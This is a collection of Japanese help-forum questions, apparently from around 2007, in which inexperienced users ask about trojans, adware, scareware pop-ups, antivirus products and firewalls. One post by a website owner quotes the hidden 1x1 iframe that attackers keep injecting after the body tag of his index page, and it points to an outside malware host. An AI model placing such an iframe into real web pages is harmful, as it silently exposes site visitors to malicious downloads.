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こんにちは、失礼いたします。 このような質問は沢山あると思うのですが…いまいちわからないので…。 パソコンについては本当に無知なので…教えていただけると嬉しいです。 ３日前ほどから、色々とおかしな現象が起きてます； なかでも最近多いのは インターネットをやっていて、少し経つと下の部分が六分の一ほど消えてしまって デスクトップの背景が丸見えなんです； ウィンドウの大きさが変わったのかと思い、広げてみようと思ったのですが、出来ませんでした。 おかしいなぁ…と思い一度消してみようと、ウィンドウを閉じると デスクトップのアイコンが全く無くなってしまっているのです； 右クリックしても何をしてもどうしようもなくて、いつも強制終了をしてしまうのですが 強制終了も、あまりやらない方が良いと聞きます； 説明がわかりにくくてすみません； どなたかわかる方、おられましたら教えてください； ウイルスなのか何なのかわからなくて、とても不安です…。 あと、関係あるのかわからないのですが； ここのところ、家のペットの猫がパソコンの上によく乗るのです； これも何か関係あるのでしょうか。 どなたかどうか教えてください； よろしくお願いいたします。

TROJAN-DOWNLOADER.WIN32.SMALL.acwというものに 感染しているらしく、ウィルスチェックしても、 隔離できません。どこに連絡していいのかわかりません。 ウィルスセキュリティーも電話サポートもつながらないし、 メールサポートなど、どこに連絡先がでているのかわかりません。 ウィルスに感染した場合のサポート　サービス。 駆除の方法、おしえてください。

先日、ウイルスバスターから警告？があり、 ウイルスを駆除できませんでした。と いくつものウイルスが出てきました。 ・・・がウイルス警告の画面を×印で消したら また普通に使えてるのですが、 これはどういう事でしょう・・・ どこかでは必ずウイルスに感染してるんだとは思うのですが パソコンを使う上で今の所は 何の問題もなく使えています。 ウイルスバスターを入れているのに どうしてウイルスに感染してしまうのでしょうか。 感染してしまうのではバスターを入れてる意味がないのでは？ と思うのですがそれは違うのでしょうか。 それとこのウイルスに感染したのは昨日の出来事ですので パソコンの状態を昨日より前の状態に戻しておいた方が いいのでしょうか。 それってどの様にしたらいいのでしょうか。 まだまだ初心者なので申し訳ありません。 よろしくお願いします。

Win2000+Win Xpを使用しています。 Win2000のサポート終了が、近づいてきているので ビスタを検討したのですが、 ビスタは、使用しているスキャナーとうの周辺機器のドライバーが サポートされていません。 デュアルブートしてネットだけは、ビスタに使用かとも思いましたが 面倒なので・・・ やはりサポートが、切れたら脅威なのでしょうか？ 一応、ウイルスとスパイは、ソフトにて監視していますが・・・ 皆さんどう思いますか？ ちなみにリナックスも考えましたが、 やはり周辺機器のドライバーが、サポートされていないので 無理でした＾＾；　

あの、うちのパソコンには、ウィルスバスターが入っていないんですけど、 本当に入れておく意味はあるんでしょうか？ いえ、確かにそういう話はよく聞きます。 ですが、うちはまだ被害に合ったことがないので、 (あいたくないですけど) 今年で、3年半になります。 ただ普通にインターネットは、使っています。 ショッピングもしたりします。 他には、ネットゲームもしたりします。 多分一般的な使い方をしてると思います。 ただ個人で使うのに、本当にいるのかな？って 疑問に思いました。 被害に合ったことがないのは、ただ運がよいだけでしょうか？

最近、ネットに接続するとAdovansという広告のウィンドウがかってにひらきます。それが3週間くらいつづいてました。 その3週間くらいはウィンドウを閉じると消えていましたが、最近閉じると‘system　doctore’をインストールしないとＰＣに大きな障害をおよぼす。のようなウィンドウが開くようになりました。インストールをしないでとじてはいるのですが、この警告をけすようにするにはどうすればいいのでしょか？？ スパイウェアなのでしょうか？？ どなたか、わかるかた教えてください。

Adware.Mirarがシマンテックの無料ウイルス診断で見つかり。 Tempフォルダの中をすべて削除しました。（削除できないのもありましたが。） そしてシマンテックの無料診断をすると異常がなくなっていました。 しかしレジストリを修正するとの事ですが全くの初心者で良くわからないのです。何もしなくても問題はないですか? ウイルスバスター2007使用しています。 Tempフォルダ削除する前なのですがデスクトップの壁紙が青に勝手にかわりました・・このスパイウエアの原因だったのでしょうか?

ウィルス対策ソフトを検討していたら、完全「無料」のＡＶＡＳＴ！というソフトがあることを知りました。 ユーザー登録するだけで、ずっと無料で使えるようですね。 なんで無料で使えるのかはともかく、実際に、使われている方、または詳しい方にお聞きしたいのですが、その品質はいかがなものでしょうか？　このソフト一本にウィルス対策が任せられるんでしょうか？ ノートンを使っていて、その重さにウンザリしているところで、使用期限がきたのを機会に変更しようと考えています。 よろしくお願いします。

パソコンには詳しくない主婦です。 スパイゼロを入れています。 （ノートン2007も入っていますが、容量が足りず、XPのSP2適用出来ないので、うまく作動していないようです） 質問１： 先日より、標記のスパイウェアが検出されますが、駆除出来ません。 Suspicious BHOが６～７つ検出。 場所は良く分かりませんが、６～７つとも下記のように表示されています。 HKLM\Software\Microsoft\Windouws\CurrentVersion\Explorer\Browser Helper Objects ・・・・ 質問２： 右下の時計の左に「？」と駐車禁止のようなマークが１秒おきに点滅していて、何かの拍子にウィンドウが開いたり、現在見ているウィンドウがアクティブじゃなくなったりします。。 開くウィンドウには、英語が並んでいて、スパイウェアソフトをダウンロードするように書いてあります。多分・・。 どうしたらなくなりますか？

カスペルスキーインターネットセキュリティー6.0を使用しています。 週に一度、完全スキャンをしていますが、「現在、脅威はありません」と表示されます。 これが表示されれば、特に何もしなくても大丈夫でしょうか？ その他、注意点などあればご教授お願いします。

今日インターネットをしていて、 URLをクリックしたらソフトダウンロードの表示が出て（保存、開く、キャンセル） どこかのサイトにつながると思っていた私は、キャンセルをクリックしたのですが、 PCに入れていたavast４が、「トロイの木馬を検知しました」とアラームが鳴りました。 前置きが長くなりましたが、要点をまとめると ・導入していたウィルスソフトは、avast４． ・ネットワークを切断しますか？と聞かれ、「はい」と答えたが 　メッセンジャーが立ち上がったままになっているのに気づき、回線を抜きま　した。 ・チェストに移動するのを忘れたので、完全スキャンをしました。 ・検索する際、avastを立ち上げた時に「感染したファイル１つ」 　「ＵＲＬのようなもの」が表示されていました。 ・スキャン中に、インターネット一時ファイルのクッキーとファイル（オフラ　イン含む）履歴を削除しました。 ・検索結果は、感染したファイルはありませんでした。 　おかしいと思ってもう一度avastを立ち上げましたが、先ほど表示さ　れていた、感染したファイル１つと、URLが消えていました。 　今は2度目の検査中です。 ・一応念のために回線は抜いてあります。 この場合、トロイの木馬は駆除できたのでしょうか？？ ほかに何かやっておいたほうがよいのでしょうか？？ ディスククリーンアップやディスクデフラグ、システムの復元の無効化をやっておいたほうが良いと書かれているところもありましたが、どうなんでしょうか？？ システムの無効化は http://esupport.trendmicro.co.jp/supportjp/viewxml.do?ContentID=jp-24006 のサイトが紹介されていましたが、 コントロールパネルから私のPCではシステムにいけません。 スタート→すべてのプログラム→アクセサリ→システムツール→ システムの復元は行くことがでいますが、無効化がどれなのかわかりません。。 PCにあまり詳しくないので分かりやすく教えていただけるとありがたいです。

最近ちょっと話題になっているボットウィルスについて教えてください。 ウィルス対策にはActiveVirusShieldを使っています。 スパイウェア対策にはSpyBotとAD-Awareで時々チェック、SpywareBlasterも使っています。 ブラウザはOperaとFirefox、メーラーもThunderbirdにしています。 ボットウィルスは、AVSでは発見・駆除できないものでしょうか？ SpyBotやAD-Awareでも見つけられないものでしょうか？ SpywareBlasterでもブロックできないものでしょうか？ やはり総務省のサイバークリーンなんとかの駆除ソフトを使う以外、方法はないのでしょうか？ 教えてください。よろしくお願いします。

数日前に自分のサイトがウイルスに感染しました。 サーバからデータを全消去・パソコンを再インストール後、サイトを再アップロード。 そのバックアップは感染の半月以上前にメディアに取ってあった物で、アップロード前にはカスペルスキーでファイルをスキャンしてみましたが何も出ず。 が、数時間後にサイトにアクセスするとまた感染を検出されます。 感染したサイトのインデックスファイルは、毎回bodyタグの後に↓のようなタグが勝手に書き加えられているのですが… ＜iframe src='ｈｔｔｐ://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'＞＜/iframe＞ 本当は全部半角です。 サイトのデータがファイルスキャンで引っ掛からない何かに感染しているのでしょうか。それとも、他に何か原因があるのでしょうか？

サポート担当者に連絡してくださいというメッセージがでます

先ほど何もしていないのに突然パソコンが再起動してしまいびっくりしてしまいました。そして「K7 Firewall (K7Sentry.sys) が原因で発生した問題」というメッセージが出てきました。 何が原因なのでしょうか？ 初心者でも分かる言葉でおしえてください。なにしろ専門用語はまだちょっとむずかしいてので・・・・

パソコン初心者です。 他の方の質問と回答を参照させていただいても、さっぱり分からなかったので質問します。 先月、パソコンが壊れて友人に直してもらった時に、 「無料のウィルス対策ソフトがあるから」と言われて、 『ＳｐｙＢｏｔ』をインストールしてもらいました…が、 これってパソコンの電源を入れるたびに起動するんですね…。 作業を行うまえに「デスクトップの表示」アイコンをクリックして、 『ＳｐｙＢｏｔ』の表示を消しているのですが、 これって、だめなのでしょうか？ 検索が終わるまで、いちいち３０～４０分間待ってから、作業しなければいけないのでしょうか？ それと…。 『Adaware』って、何ですか？

最近スパイウェアが沢山入ってしまいインターネットをしていてもすぐに画面を変えられてしまい思うようにパソコンができなくて困っています・・・ なのでスパイウェア対策にいいフリーソフトはないでしょうか？ Spybot - Search & Destroyはダウンロードしているんですがいくらアップデートしてもスパイウェアが残ってしまいます・・・。 回答お願いします・・・。

トレンドマイクロオンラインスキャン(ウィルス) ttp://housecall.antivirus.com/housecall/start_jp.asp?i=big zonealarm spywarescanner(スパイウェア) ttp://www.zonealarm.com/store/content/promotions/spywarescanner/index.jsp?lang=ja&ctry=JP&dc=90dia&lid=jp_home_scan この二つのサイトのスキャン結果の信憑性はどれくらいのものなんでしょうか？

Vista にウィルスバスター2007を使っています。 Windows defenderは無効にしてます。 「Windowsファイアーウォール」と「ウィルスバスターのパーソナルファイアーウォール」が有効になっています。この２つは競合してしまうので、Windowsファイアーウォールは無効にしたほうがよいのでしょうか？

はじめまして。ＰＣの知識は初心者に近い者です。 疑問がありまして、質問させていただきたいと思います。 Yahoo!の検索サイトを開いた所、左上の画面にYahooの「新しいツールバーをインストールしますか？」というような画面が出て、（すみません！正確には覚えてません） 最初は何度も×を押していたのですが、押しても押しても出てきたので インストールしてしまいました。浅はかでした。。 そうした所、確かにYahooのツールバーは表示されたのですが、 「トロイの木馬を検出し、削除しました」という警告が出ました。 これはどういう意味なのでしょう？偽の情報だったのでしょうか。 その後プログラムの追加と削除で一応削除し、Yahooのサイトから再度無料ツールバーをダウンロードした所、同じ結果になりました。 ウイルス対策ソフトは、期限が一月ほど切れてしまっている(汗) マカフィーを使っていて、マカフィーでトロイを検出しました。 WinXPです。 いったいなんだったのでしょうか？トロイはちゃんと削除されているのかとても不安です。 お力添いをお願い致します。